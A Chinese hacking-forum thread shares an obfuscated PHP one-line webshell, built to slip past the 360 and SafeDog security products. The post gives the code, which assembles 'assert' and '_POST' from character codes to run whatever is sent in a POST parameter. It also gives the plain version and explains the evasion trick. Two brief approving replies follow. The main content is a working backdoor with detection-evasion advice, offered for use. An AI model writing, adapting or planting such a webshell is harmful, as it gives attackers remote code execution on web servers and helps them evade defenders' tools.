搜索
查看: 670|回复: 2

过360、安全狗一句话

[复制链接]

432

主题

573

帖子

2543

积分

核心成员

Rank: 8Rank: 8

积分
2543
发表于 2013-9-6 22:19:47 来自手机 | 显示全部楼层 |阅读模式
内容如下:
[代码]php代码:
<?php
$a=range(1,200);$b=chr($a[96]).chr($a[114]).chr($a[114]).chr($a[100]).chr($a[113]).chr($a[115]);
$b(${chr($a[94]).chr($a[79]).chr($a[78]).chr($a[82]).chr($a[83])}[chr($a[51])]);
?>
range(1,200)----新建一个1到200的数组。
range(a,z)就是一个a到z的数组;大小写有区别
chr()----转换ASCII
chr($a[51])--------是密码4 ,实际是chr(52)。也可以把[chr($a[51])]改为['4']
$a[51]就是数组的$a的第51个数的值(52)。因为数组的值是从0开始数的,所以第51位为52。

原一句话:
[代码]php代码:
<?php$a = "a"."s"."s"."e"."r"."t";$a(${_POST}['4']);?>
assert()----跟eval()意思差不多都用来执行语句的。
重点是{},变量分离;这样{}中的就是字符串,也就可以把_POST转码。
比如:
[代码]php代码:
view source

print?
<?php
$f4ck="LOVE";
echo "${f4ck} ,f4ck";//输出结果 LOVE,f4ck
?>
专业回帖 该用户已被删除
发表于 2013-9-6 22:27:30 | 显示全部楼层
有道理。。。
专业回帖 该用户已被删除
发表于 2013-9-6 22:36:17 | 显示全部楼层
有竞争才有进步嘛
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表